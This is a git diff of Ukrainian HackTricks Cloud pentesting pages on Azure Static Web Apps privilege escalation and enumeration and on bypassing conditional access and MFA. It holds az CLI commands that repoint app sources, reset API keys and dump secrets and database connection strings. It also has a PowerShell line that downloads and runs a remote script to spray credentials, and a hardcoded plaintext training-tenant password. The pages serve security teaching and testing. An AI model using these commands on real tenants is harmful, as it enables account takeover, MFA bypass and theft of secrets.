інший репозиторій Github**, однак, він не буде автоматично наданий, оскільки це потрібно робити з Github Action, зазвичай з токеном, який авторизував дію, оскільки цей токен не оновлюється автоматично в секретах Githb репозиторію (він просто додається автоматично, коли додаток створюється). +```bash +az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main +``` +### Microsoft.Web/staticSites/resetapikey/action + +З цією дозволом можливо **скинути API-ключ статичного веб-додатку**, потенційно викликавши DoS-атаки на робочі процеси, які автоматично розгортають додаток. +```bash +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md index 997657a57..da5480b6c 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -24,11 +24,11 @@ - Можна обійти, використовуючи VPN або проксі для підключення до країни або намагаючись увійти з дозволеної IP-адреси - **Ризики Microsoft**: Ризик користувача, ризик входу, ризик зсередини - **Платформи пристроїв**: Будь-який пристрій або вибрати Android, iOS, Windows phone, Windows, macOS, Linux -- Якщо “Будь-який пристрій” не вибрано, але всі інші опції вибрані, можна обійти це, використовуючи випадковий user-agent, не пов'язаний з цими платформами -- **Клієнтські програми**: Опції - “Браузер”, “Мобільні програми та настільні клієнти”, “Клієнти Exchange ActiveSync” та “Інші клієнти” +- Якщо не вибрано “Будь-який пристрій”, але вибрані всі інші опції, можна обійти це, використовуючи випадковий user-agent, не пов'язаний з цими платформами +- **Клієнтські програми**: Опції “Браузер”, “Мобільні програми та настільні клієнти”, “Клієнти Exchange ActiveSync” та “Інші клієнти” - Щоб обійти вхід з не вибраною опцією - **Фільтр для пристроїв**: Можна створити правило, пов'язане з використаним пристроєм -- **Потоки аутентифікації**: Опції - “Потік коду пристрою” та “Передача аутентифікації” +- **Потоки аутентифікації**: Опції “Потік коду пристрою” та “Передача аутентифікації” - Це не вплине на зловмисника, якщо він намагається зловживати будь-якими з цих протоколів у фішинговій спробі отримати доступ до облікового запису жертви Можливі **результати**: Блокування або надання доступу з потенційними умовами, такими як вимога MFA, відповідність пристрою… @@ -44,7 +44,7 @@

- Або використати [розширення браузера, як це](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). +Або використати [розширення браузера, як це](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en). ### Локації: Країни, діапазони IP - Умова пристрою @@ -57,7 +57,7 @@
Щоб спробувати обійти цей захист, вам слід перевірити, чи можете ви **увійти лише в будь-який додаток**.\ -Інструмент [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) має **десятки ідентифікаторів додатків, закодованих у програмі** і спробує увійти в них, повідомить вам і навіть надасть токен, якщо вдасться. +Інструмент [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) має **десятки ідентифікаторів додатків, закодованих у програмі**, і спробує увійти в них і повідомить вас, а також надасть токен, якщо вдасться. Щоб **перевірити конкретні ідентифікатори додатків у конкретних ресурсах**, ви також можете використовувати інструмент, такий як: ```bash @@ -67,13 +67,13 @@ roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4 ``` Більше того, також можливо захистити метод входу (наприклад, якщо ви намагаєтеся увійти з браузера або з настільного додатку). Інструмент [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) виконує деякі перевірки, щоб спробувати обійти ці захисти. -Інструмент [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) також може бути використаний для подібних цілей, хоча виглядає так, що він не підтримується. +Інструмент [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) також може бути використаний для подібних цілей, хоча виглядає так, ніби він не підтримується. Інструмент [**ROPCI**](https://github.com/wunderwuzzi23/ropci) також може бути використаний для тестування цих захистів і перевірки, чи можливо обійти MFA або блокування, але цей інструмент працює з точки зору **whitebox**. Спочатку потрібно завантажити список додатків, дозволених у орендаря, а потім він спробує увійти в них. ## Інші обходи Az MFA -### Рингтон +### Дзвінок Одна з опцій Azure MFA - це **отримати дзвінок на налаштований номер телефону**, де буде запитано користувача **надіслати символ `#`**. @@ -116,7 +116,7 @@ roadrecon plugin policies ``` ### [Invoke-MFASweep](https://github.com/dafthack/MFASweep) -MFASweep - це скрипт PowerShell, який намагається **увійти до різних сервісів Microsoft, використовуючи наданий набір облікових даних, і намагатиметься визначити, чи увімкнено MFA**. Залежно від того, як налаштовані політики умовного доступу та інші налаштування багатофакторної аутентифікації, деякі протоколи можуть залишитися з однофакторною аутентифікацією. Він також має додаткову перевірку для конфігурацій ADFS і може намагатися увійти до локального сервера ADFS, якщо він виявлений. +MFASweep - це скрипт PowerShell, який намагається **увійти до різних сервісів Microsoft, використовуючи наданий набір облікових даних, і намагається визначити, чи увімкнено MFA**. Залежно від того, як налаштовані політики умовного доступу та інші налаштування багатофакторної аутентифікації, деякі протоколи можуть залишитися з однофакторною аутентифікацією. Він також має додаткову перевірку для конфігурацій ADFS і може намагатися увійти до локального сервера ADFS, якщо його виявлено. ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password @@ -135,13 +135,13 @@ Invoke-MFASweep -Username -Password ``` ### [donkeytoken](https://github.com/silverhack/donkeytoken) -Donkey token - це набір функцій, які допомагають консультантам з безпеки, які потребують перевірки Політик умовного доступу, тестів для порталу Microsoft з увімкненим 2FA тощо. +Donkey token - це набір функцій, які допомагають консультантам з безпеки, які потребують перевірки політик умовного доступу, тестів для порталу Microsoft з увімкненим 2FA тощо.
git clone https://github.com/silverhack/donkeytoken.git
 Import-Module '.\donkeytoken' -Force
 
-**Тестуйте кожен портал**, чи можливо **увійти без MFA**: +**Перевірте кожен портал**, чи можливо **увійти без MFA**: ```powershell $username = "conditional-access-app-user@azure.training.hacktricks.xyz" $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force diff --git a/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md new file mode 100644 index 000000000..d427c1f38 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-static-web-apps.md @@ -0,0 +1,109 @@ +# Az - Static Web Apps + +{{#include ../../../banners/hacktricks-training.md}} + +## Static Web Apps Basic Information + +Azure Static Web Apps - це хмарний сервіс для хостингу **статичних веб-додатків з автоматичним CI/CD з репозиторіїв, таких як GitHub**. Він пропонує глобальну доставку контенту, безсерверні бекенди та вбудований HTTPS, що робить його безпечним і масштабованим. Однак ризики включають неправильно налаштований CORS, недостатню аутентифікацію та підробку контенту, що може піддати додатки атакам, таким як XSS та витік даних, якщо їх не управляти належним чином. + +> [!TIP] +> Коли створюється статичний додаток, ви можете вибрати **політику авторизації розгортання** між **токеном розгортання** та **робочим процесом GitHub Actions**. + + +### Web App Authentication + +Можливо **налаштувати пароль** для доступу до веб-додатку. Веб-консоль дозволяє налаштувати його для захисту лише тестових середовищ або обох - тестового та виробничого. + +Ось як на момент написання виглядає веб-додаток з паролем: + +
+ + +Можливо побачити **чи використовується якийсь пароль** і які середовища захищені за допомогою: +```bash +az rest --method GET \ +--url "/subscriptions//resourceGroups/Resource_Group_1/providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2024-04-01" +``` +Однак це **не покаже пароль у відкритому вигляді**, лише щось на кшталт: `"password": "**********************"`. + +### Маршрути + +Маршрути визначають **як обробляються вхідні HTTP запити** в статичному веб-додатку. Налаштовані у файлі **`staticwebapp.config.json`**, вони контролюють переписування URL, перенаправлення, обмеження доступу та авторизацію на основі ролей, забезпечуючи належну обробку ресурсів та безпеку. + +Декілька прикладів: +```json +{ +"routes": [ +{ +"route": "/", +"rewrite": "/index.html" +}, +{ +"route": "/about", +"rewrite": "/about.html" +}, +{ +"route": "/api/*", +"allowedRoles": ["authenticated"] +}, +{ +"route": "/admin", +"redirect": "/login", +"statusCode": 302 +} +], +"navigationFallback": { +"rewrite": "/index.html", +"exclude": ["/api/*", "/assets/*"] +} +} +``` +## Перерахування +```bash +# List Static Webapps +az staticwebapp list --output table + +# Get Static Webapp details +az staticwebapp show --name --resource-group --output table + +# Get appsettings +az staticwebapp appsettings list --name + +# Get env information +az staticwebapp environment list --name +az staticwebapp environment functions --name + +# Get API key +az staticwebapp secrets list --name + +# Get invited users +az staticwebapp users list --name + +# Get database connections +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//databaseConnections?api-version=2021-03-01" + +## Once you have the database connection name ("default" by default) you can get the connection string with the credentials +az rest --method POST \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//databaseConnections/default/show?api-version=2021-03-01" +``` +## Приклади для створення веб-додатків + +Ви можете знайти гарний приклад для створення веб-додатку за наступним посиланням: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github) + +1. Зробіть форк репозиторію https://github.com/staticwebdev/react-basic/generate у вашому обліковому записі GitHub і назвіть його `my-first-static-web-app` +2. У порталі Azure створіть Static Web App, налаштувавши доступ до Github і вибравши раніше форкнутий новий репозиторій +3. Створіть його, почекайте кілька хвилин і перевірте вашу нову сторінку! + +## Постексплуатація + +{{#ref}} +../az-privilege-escalation/az-static-web-apps-post-exploitation.md +{{#endref}} + +## Посилання + +- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) +- [https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans](https://learn.microsoft.com/en-us/azure/app-service/overview-hosting-plans) + +{{#include ../../../banners/hacktricks-training.md}}